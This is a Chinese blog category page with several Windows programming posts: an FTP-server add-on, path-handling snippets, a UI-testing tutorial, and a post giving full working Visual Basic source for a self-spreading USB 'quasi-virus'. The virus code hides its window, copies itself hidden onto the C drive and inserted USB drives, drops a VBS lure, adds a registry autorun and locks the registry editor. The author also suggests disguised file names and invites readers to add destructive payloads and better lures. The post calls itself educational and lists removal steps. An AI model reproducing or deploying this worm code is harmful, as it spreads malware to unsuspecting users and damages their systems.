日志分类:Windows开发

TYPshell——一个简单的外挂练手之作

2007/12/04 | 21:52 | 分类:Windows开发 | 标签: | 763次阅读

  练手对象:TYPSoft FTP Server 1.11——这是一个简易的Windows版FTP服务器软件,体积不大,但完整地实现了FTP服务的大多数功能,非常适合临时性架设FTP站点。同时,这是一个遵从GPL的开源软件。既然开源,为什么不直接改源代码,还要给它写外挂?原因1:该软件的CVS已关闭很久了,给作者发邮件也没有回复,暂时得不到源代码;原因2:它不加壳,便于分析练手;原因3:在遵从GPL的前提下进行的逆向工程没有法律问题。

  外挂理由:本人经常使用本软件进行一些临时性的文件传输工作,工作流程一般是打开TYPSoft FTP Server(之前已配置好用户、文件夹与权限),查看本机IP,通知对方我的FTP URL,由对方使用FTP客户端进行文件上传或下载工作。由于本机使用DHCP动态得到IP,每次都需要重新查看IP,不甚方便,因此希望在TYPSoft FTP Server打开的过程中自动获取本机IP,并生成FTP URL字串,允许我立即复制到剪贴板,发送给通信对方。

----------花絮----------
针对这个需求,我早期使用一个批处理文件实现:
@ipconfig|find "IPv4"
@pause
@start ftpserv.exe
它可以显示本机IP,但还需要手工复制到剪贴板。
----------------------

  外挂目标:在软件界面上显示本机FTP URL;在软件打开的过程中自动获取本机IP,并允许用户将对应的FTP URL复制到剪贴板。

TYPshell——一个简单的外挂练手之作

  外挂实现:获取本机IP和复制到剪贴板的工作完全在外挂进程中实现。由外挂修改TYPSoft FTP Server进程的内存,在其界面上显示FTP URL。外挂源代码使用C语言调用WinAPI,gcc 3.4.5编译通过。纯属练手,无太多技术含量,相关技术点请参考看雪软件安全论坛:http://bbs.pediy.com/ 。

  暂未实现:仅通过IP生成FTP URL,没有追加端口和用户名等信息。如果需要,只需在程序中读一下TYPSoft FTP Server配置文件即可。

  已知问题:如果原软件加载了语言包(如chineses.lng),则相应的版权信息会覆盖主窗口中的FTP URL显示。

  下载:(Code::Blocks工程;包含TYPSoft FTP Server)
http://www.linjian.cn/files/c_cpp/TYPshell.rar
http://files.linjian.org/c_cpp/TYPshell.rar

  备注:需要连接wsock32.lib;使用VC编译时需要设置字符集为ASCII(非Unicode)。

  感谢:windsor@bitunion

基于FD-CES-B实验仪的计算机整机实验

2007/09/18 | 09:49 | 分类:Windows开发 | 标签: | 711次阅读

  在小学期结束之际,贴出我和柴祎同学合作的基于FD-CES-B实验仪的计算机整机实验报告(节选),希望对使用类似器件进行计算机整机实验的同学有一定的参考价值。

  下载:
http://www.linjian.cn/files/works/FD-CES-B-cpu.pdf
http://files.linjian.org/works/FD-CES-B-cpu.pdf

  另外,提供一个本人用C#编写的辅助程序(含源代码),用于查找微指令位与有效电平的对应关系,“磨刀不误砍柴工”,此工具有助于快速而正确地书写或分析微指令。

  下载:
http://www.linjian.cn/files/dotNet/bitdeffer.rar
http://files.linjian.org/dotNet/bitdeffer.rar

分清程序“所在路径”和“执行路径”

2006/09/14 | 21:49 | 分类:Windows开发 | 标签: | 732次阅读

  我的一个程序在执行时需要调用其所在路径下的数据文件。这个程序在独立运行时没有问题,但用第三方程序将其作为子进程加载后,却发生了无法找到数据文件的错误。其原因:我是通过相对路径查找数据文件的,在由第三方程序调用该程序时,执行路径是第三方程序所在路径,所以无法通过原相对路径找到数据文件。因此,我们有必要明确程序的“所在路径”和“执行路径”,才能正确地处理相对路径文件引用。

  下面给出C、C#和Python中,获取程序“所在路径”和“执行路径”的方法。其中的C程序只在Windows下有效,在Linux下缺乏现成的函数,需要“曲线”现实,可参见coldcrane的专栏《Linux下GetModuleFileName的四种写法》一文。

  1. #include <stdio.h>
  2. #include <windows.h>
  3.  
  4. #define MAXPATH 256
  5.  
  6. int main()
  7. {
  8.     char str[MAXPATH];
  9.  
  10.     GetModuleFileName(NULL, str, MAXPATH);
  11.     *(strrchr(str, '\\')) = '\0';
  12.     printf("The program is in: %s\n", str);
  13.  
  14.     getcwd(str, MAXPATH);
  15.     printf("The program runs at: %s\n", str);
  16.  
  17.     return 0;
  18. }
  1. using System;
  2.  
  3. namespace CSharp
  4. {
  5.     class Program
  6.     {
  7.         static void Main(string[] args)
  8.         {
  9.             string str;
  10.  
  11.             str = System.Diagnostics.Process.GetCurrentProcess().MainModule.FileName;
  12.             str = str.Substring(0, str.LastIndexOf("\\"));
  13.             Console.WriteLine("The program is in: " + str);
  14.  
  15.             str = System.IO.Directory.GetCurrentDirectory();
  16.             Console.WriteLine("The program runs at: " + str);
  17.         }
  18.     }
  19. }
  1. #!/usr/bin/python
  2.  
  3. import os
  4.  
  5. if __name__ == '__main__':
  6.     print "The program is in: %s" % os.path.dirname(__file__)
  7.     print "The program runs at: %s" % os.getcwd()

  附:Windows下简单测试的方法。在以上代码末尾添加诸如getchar()一类的暂停效果指令,编译之(当然Python就不用了),对生成的可执行文件建立快捷方式,修改快捷方式的属性,将“Start in(起始位置)”设为有别于程序所在路径的其它位置。运行这个快捷方式,观察“The program is in:”与“The program runs at:”的不同。

用Visual Basic 2005实现通过U盘传播的准计算机病毒

2006/05/24 | 15:36 | 分类:Windows开发 | 标签: | 482次阅读

  计算机病毒是指编制或者在计算机程序中插入的破坏计算机功能或者毁坏数据,影响计算机使用,并能自我复制的一组计算机指令或者程序代码。从执行机理方面,一般分为文件型病毒、引导型病毒、宏病毒、木马病毒、脚本病毒、蠕虫病毒等。计算机病毒具有生命系统所固有的特性——繁殖、机体集成、不可预见性等。它的生命周期也类似于生物病毒,包括潜伏阶段、传染阶段、触发阶段、发作阶段等。因此研究计算机病毒的方法与研究生物病毒有一定的可比性。病毒技术和反病毒技术这对矛盾在不断的斗争中持续发展,是信息社会安全领域的重要课题。

  计算机病毒最初被认为是顶级编程高手的杰作,但随着编程语言的不断高级化、简单化、专用化,一大批“低技术含量”的病毒开始从一些普通计算机用户的键盘下诞生。下面我们来看用Visual Basic 2005实现的一个通过U盘传播的准计算机病毒。之所以称其为“准计算机病毒”,是因为它能够简单地自发传染但可以控制,有演示性的破坏作用但很容易恢复。

  该病毒存在形式为一可执行程序,由于使用Visual Basic 2005编写,要求宿主计算机安装有.NET Framework v2.0。病毒程序一旦运行,会将自身复制到C盘根目录,将复本设置隐藏属性,并在注册表中添加其启动项。染毒的计算机在插入U盘后,病毒随即将自身复制到U盘根目录(设置隐藏属性),同时新建一个用以启动病毒的“诱饵”文件。用户如果在没有染毒的计算机上执行了“诱饵”文件,会使这台计算机也染毒。作为演示性的破坏作用,计算机染毒后注册表会被锁定。

  我们通过流程图直观说明:

用Visual Basic 2005实现通过U盘传播的准计算机病毒

  下面就开始最重要的编写阶段:新建一个Visual Basic 2005 Windows Form应用程序。既然做的是病毒,就要需要它在用户不可见的情况下偷偷摸摸运行。因此我们首先设置默认窗体的FormBorderStyle为None,Text为空,Size为(0,0),WindowState为Minimized,ShowInTaskbar为False。这样一来,这个程序运行时用户看不到屏幕上会有什么异常。当然病毒进程在Windows任务管理器以及Alt+Tab的任务菜单中还会出现。要让病毒进程消失,涉及一些高级系统调用,这个例子中就不做了。我们可以采用障眼法,将程序的图标(包括窗体的Icon和应用程序属性中的Icon)设为一个不引人注目的图标(如Windows文件夹图标),骗过粗心的用户:

用Visual Basic 2005实现通过U盘传播的准计算机病毒

  再添加一个Timer控件,命名为tmrWatcher,设置其Enabled为True,Interval为5000,用来每隔5秒检查是否有U盘插入。

  在Code窗体中为默认窗体键入如下源代码:

  1. Imports System
  2. Imports System.IO
  3. Imports System.Collections
  4.  
  5. Public Class frmVirus
  6.  
  7.     Private oldDisks As List(Of String) '上一状态的驱动器列表
  8.     Private newDisks As List(Of String) '当前状态的驱动器列表
  9.  
  10.     '初始化驱动器列表
  11.     Private Sub Init()
  12.  
  13.         oldDisks = New List(Of String)
  14.         newDisks = New List(Of String)
  15.  
  16.         Dim di As DriveInfo
  17.         For Each di In My.Computer.FileSystem.Drives
  18.             oldDisks.Add(di.Name)
  19.         Next
  20.  
  21.     End Sub
  22.  
  23.     '检查是否有新的驱动器出现,出现则认为是插入了U盘
  24.     Private Function FindNewDisk() As String
  25.  
  26.         newDisks.Clear()
  27.         Dim di As DriveInfo
  28.         For Each di In My.Computer.FileSystem.Drives
  29.             newDisks.Add(di.Name)
  30.         Next
  31.  
  32.         '一一对照查找当前状态的驱动器有没有在上一状态存在
  33.         Dim i, j As Integer
  34.         Dim found As Boolean
  35.         For i = 0 To newDisks.Count - 1
  36.             found = False
  37.             For j = 0 To oldDisks.Count - 1
  38.                 If newDisks(i) = oldDisks(j) Then
  39.                     found = True
  40.                     Exit For
  41.                 End If
  42.             Next
  43.             If Not found Then
  44.                 Return newDisks(i)  '返回U盘盘符,如“F:\”
  45.             End If
  46.         Next
  47.         Return String.Empty '返回空表示没有新的驱动器出现
  48.  
  49.     End Function
  50.  
  51.     '将病毒体从当前位置复制到参数disk所示的磁盘的根目录
  52.     '(这里简单认为C盘之外的盘符都为U盘)
  53.     Private Sub CopyVirusToDisk(ByVal disk As String)
  54.  
  55.         Dim myname, objname As String
  56.         myname = My.Application.Info.DirectoryPath & "\LynxVirus.exe"
  57.         objname = disk & "\LynxVirus.exe"
  58.  
  59.         If Not File.Exists(objname) Then
  60.             Try
  61.                 '复制自身到目标位置
  62.                 File.Copy(myname, objname, True)
  63.                 '为病毒文件设置“隐藏”、“系统”、“存档”属性,防止被发现
  64.                 File.SetAttributes(objname, FileAttributes.Hidden Or FileAttributes.System Or FileAttributes.Archive)
  65.                 '如果目标位置不是C盘(认为是U盘),则写入一个从U盘启动病毒的“诱饵”文件
  66.                 If disk.ToUpper().Chars(0) <> "C" Then
  67.                     WriteABait(disk)
  68.                 End If
  69.             Catch ex As Exception
  70.             End Try
  71.         End If
  72.  
  73.         '如果当前位置是C盘,则复制之后程序不退出,驻留内存以便向新插入的U盘传染自身
  74.         '如果当前位置不是C盘(认为是U盘),则复制之后启动C盘上的复本,然后退出自身,以便U盘可以正常卸下
  75.         If myname.ToUpper().Chars(0) <> "C" Then
  76.             Dim Info As New System.Diagnostics.ProcessStartInfo()
  77.             Dim Proc As New System.Diagnostics.Process()
  78.             Info.WorkingDirectory = "C:\"
  79.             Info.WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden
  80.             Info.FileName = "LynxVirus"
  81.             Try
  82.                 Proc = System.Diagnostics.Process.Start(Info)
  83.             Catch ex As Exception
  84.             End Try
  85.             Application.Exit()
  86.         End If
  87.  
  88.     End Sub
  89.  
  90.     '写入一个从U盘启动病毒的“诱饵”文件
  91.     Private Sub WriteABait(ByVal disk As String)
  92.  
  93.         Dim filename As String
  94.         filename = disk & "\Bait.vbs"
  95.  
  96.         Try
  97.             Dim sw As StreamWriter
  98.             sw = File.CreateText(filename)
  99.             '“诱饵”文件通过VBS脚本运行病毒文件
  100.             sw.WriteLine("Set p = WScript.CreateObject(""WScript.Shell"")")
  101.             sw.WriteLine("p.Exec(""LynxVirus"")")
  102.             sw.Flush()
  103.             sw.Close()
  104.         Catch ex As Exception
  105.         End Try
  106.  
  107.     End Sub
  108.  
  109.     '在注册表中添加启动项,使病毒开机自动运行
  110.     Private Sub MakeAutorun()
  111.  
  112.         Try
  113.             My.Computer.Registry.CurrentUser.OpenSubKey("Software\Microsoft\Windows\CurrentVersion\Run\", True).SetValue("LynxVirus", "C:\LynxVirus.exe", Microsoft.Win32.RegistryValueKind.String)
  114.         Catch ex As Exception
  115.         End Try
  116.  
  117.     End Sub
  118.  
  119.     '病毒对计算机的破坏过程
  120.     Private Sub Destroy()
  121.  
  122.         Try
  123.             If My.Computer.Registry.CurrentUser.OpenSubKey("Software\Microsoft\Windows\CurrentVersion\Policies\System\") Is Nothing Then
  124.                 My.Computer.Registry.CurrentUser.OpenSubKey("Software\Microsoft\Windows\CurrentVersion\Policies\", True).CreateSubKey("System")
  125.             End If
  126.             My.Computer.Registry.CurrentUser.OpenSubKey("Software\Microsoft\Windows\CurrentVersion\Policies\System\", True).SetValue("DisableRegistryTools", 1, Microsoft.Win32.RegistryValueKind.DWord)
  127.         Catch ex As Exception
  128.         End Try
  129.  
  130.     End Sub
  131.  
  132.     '病毒程序启动时的初始化
  133.     Private Sub frmVirus_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
  134.  
  135.         CopyVirusToDisk("C:\")
  136.         MakeAutorun()
  137.         Init()
  138.         Destroy()
  139.  
  140.     End Sub
  141.  
  142.     '每隔一定时间检查是否有U盘插入,若有则向新插入的U盘传染病毒
  143.     Private Sub tmrWatcher_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles tmrWatcher.Tick
  144.  
  145.         Dim disk = FindNewDisk()
  146.         If disk <> String.Empty Then
  147.             CopyVirusToDisk(disk)
  148.             Init()
  149.         End If
  150.  
  151.     End Sub
  152.  
  153. End Class

  上面代码中LynxVirus.exe、Bait.vbs分别为病毒文件名和“诱饵”文件名,在实际编写的时候可以改为一些具有欺骗性的名称,如Rundll32.exe、prnmngr.vbs。Destroy()函数是病毒破坏过程,可以自行添加一些潜伏性、触发性功能代码或其它破坏性功能代码。

  这个病毒的主要缺陷是自发传染能力不强,可以自动地从硬盘传向U盘,但不能自动地从U盘传向硬盘。事实上一些通过U盘传染的病毒大都使用Autorun.inf、folder.htt等自动运行和自定义文件夹脚本来复制自身到硬盘。但随着Windows安全性能的提高、用户防范意识的增强,这种传染方式已经在大多数计算机上实效了,无故出现的Autorun.inf、folder.htt等文件反而会引起用户警觉。使用“诱饵”文件诱惑用户运行病毒,需要抓住用户的心理。早期的邮件病毒常用“情书”、“中奖信息”等诱惑用户,现在已不盛行。本病毒使用VBS脚本作为“诱饵”也会引发用户的警觉。用什么方法更具欺骗性,留给大家思考。

  了解了这个病毒的机理,清除它的方法也很简单:只要在Windows任务管理器中结束它的进程,删除C盘下的病毒文件,然后解锁注册表(可以通过REG、VBS脚本或第三方工具,网上介绍很多,这里从略),删除其启动项即可。

  通过这个例子我们可以看出,计算机病毒技术并不神秘。学习一些计算机病毒基础理论,了解病毒破坏和传播的机理,对广大计算机用户是很有必要的。亲自动手编程模拟一个病毒,可以加深对理论知识的理解,同时提高信息安全防范意识。

参考资料:
[1]韩筱卿 等,计算机病毒分析与防范大全,电子工业出版社,2006

用 Visual Studio 2005 实现用户界面自动化测试

2006/02/06 | 06:33 | 分类:Windows开发 | 标签: | 467次阅读

  Visual Studio 2005 新增的测试功能使我们的开发工作更为快捷,代码质量在一定程度上有所提高。想必大家对类的单元测试已经比较熟悉,这里我们来看看它提供的另一项更为有趣的测试——用户界面自动化测试。事实上这个测试的本质仍是单元测试,单元测试的各种方法在用户界面测试中仍然可用。

  我们以一个简单的 Windows Form 应用程序为例(在 Visual Studio 2005 Team System 下演示,其它版本亦可参考)。如图所示,这是一个一元二次方程的求解程序。

用 Visual Studio 2005 实现用户界面自动化测试

  在 Visual Studio 2005 中加载这个程序的工程,切换到待测试窗体(Form1)的源代码视图。添加一个用户界面测试最简单的方法是在事件函数声明代码上右击鼠标,在快捷菜单中点击“Create Unit Tests”。在弹出的对话框中点选待测试的函数(特别是事件函数),确定。当然,手工添加一个单元测试项目也是可以的,但通过快捷菜单自动生成的代码中包含了一些测试辅助类和对象的声明,使用起来更加方便。

  本例中,我们由 btnWorkOut_Click 创建单元测试,自动生成的代码如下:

  1. [DeploymentItem("XandY.exe")]
  2. [TestMethod()]
  3. public void btnWorkOut_ClickTest()
  4. {
  5.     Form1 target = new Form1();
  6.     MyTestProject.XandY_Form1Accessor accessor = new MyTestProject.XandY_Form1Accessor(target);
  7.     object sender = null; // TODO: Initialize to an appropriate value
  8.     EventArgs e = null; // TODO: Initialize to an appropriate value
  9.     accessor.btnWorkOut_Click(sender, e);
  10.     Assert.Inconclusive("A method that does not return a value cannot be verified.");
  11. }

  熟悉单元测试的朋友应该明白 [TestMethod()] 属性的含义。在这个测试函数中,target 是待测试窗体的一个实例。sender 和 e 是各个事件函数必备的参数,一般情况下取 null 即可。最重要的是 accessor 对象,它是我们进行用户界面自动化测试的“总代理”。通过它可以访问到待测试窗体的各个方法、属性和控件,并可调用控件已声明的各个事件。由此,我们可以用 accessor 模拟使用者通过键盘、鼠标对用户界面的各项操作,同时即时获知程序中各个变量的状态。有兴趣的朋友可以读读 XandY_Form1Accessor 类的定义,了解这个“总代理”工作的奥秘。

  我们对测试代码进行以下修改,以便对程序运行的正确性进行测试。

  1. [DeploymentItem("XandY.exe")]
  2. [TestMethod()]
  3. public void btnWorkOut_ClickTest()
  4. {
  5.     Form1 target = new Form1();
  6.     MyTestProject.XandY_Form1Accessor accessor = new MyTestProject.XandY_Form1Accessor(target);
  7.     object sender = null; // TODO: Initialize to an appropriate value
  8.     EventArgs e = null; // TODO: Initialize to an appropriate value
  9.     target.Show();
  10.     target.Refresh();
  11.     System.Threading.Thread.Sleep(1000);
  12.     accessor.textBox1.Text = "2";
  13.     accessor.textBox2.Text = "4";
  14.     accessor.textBox3.Text = "2";
  15.     target.Refresh();
  16.     System.Threading.Thread.Sleep(1000);
  17.     accessor.btnWorkOut_Click(sender, e);
  18.     target.Refresh();
  19.     Assert.IsTrue(accessor.d >= 0);
  20.     Assert.IsNotNull(accessor.xx);
  21.     Assert.IsNotNull(accessor.xy);
  22.     Console.WriteLine("X1 = " + accessor.textBox4.Text);
  23.     Console.WriteLine("X2 = " + accessor.textBox5.Text);
  24.     System.Threading.Thread.Sleep(1000);
  25.     target.Close();
  26. }

  以上代码中,我们通过 target.Show() 呈现窗体,通过 target.Refresh() 可以即时地刷新窗体内容在屏幕的显示,通过 System.Threading.Thread.Sleep(1000) 来延时。这几段代码都不是必需的,加入它们是为了便于程序反应和测试者观察,我们也完全可以在不显示用户界面的情况下更快地运行自动测试。至于用 Assert 来监控变量状态和用 Console 做输出,用过单元测试的朋友都应该了解。

  此时,我们运行这个测试,就会在屏幕上先后看到窗体被加载,三个文本框被填入数据,计算结果出现在下面的文本框中,最后窗体被关闭。

  再来看看测试结果的输出,符合我们的预期。

用 Visual Studio 2005 实现用户界面自动化测试

  Visual Studio 2005 的用户界面自动化测试就是这么简单。对于一般的测试,它使测试人员不必深究应用程序底层的实现。当然,对于本例这样简单的程序,我们用不着这么麻烦的测试,但是对于用户界面更加复杂的程序,操作上存在更多的组合方式,手工测试的繁琐程度以及查找问题的难度便大大上升了。使用 Visual Studio 2005 提供的自动化测试手段将在很大程度上减轻测试人员的负担。有兴趣的朋友甚至可以在这个基础上进行二次开发,引入自动化测试脚本等专业测试方案,实现通用性更强的用户界面自动化测试。

  参考文献:James McCaffrey,用 .NET 开发的轻量级 UI 测试自动化,MSDN,URL:http://www.microsoft.com/china/MSDN/library/enterprisedevelopment/softwaredev/us0501TestRun.mspx

页面存档: 上页 1 2 3 4 5 下页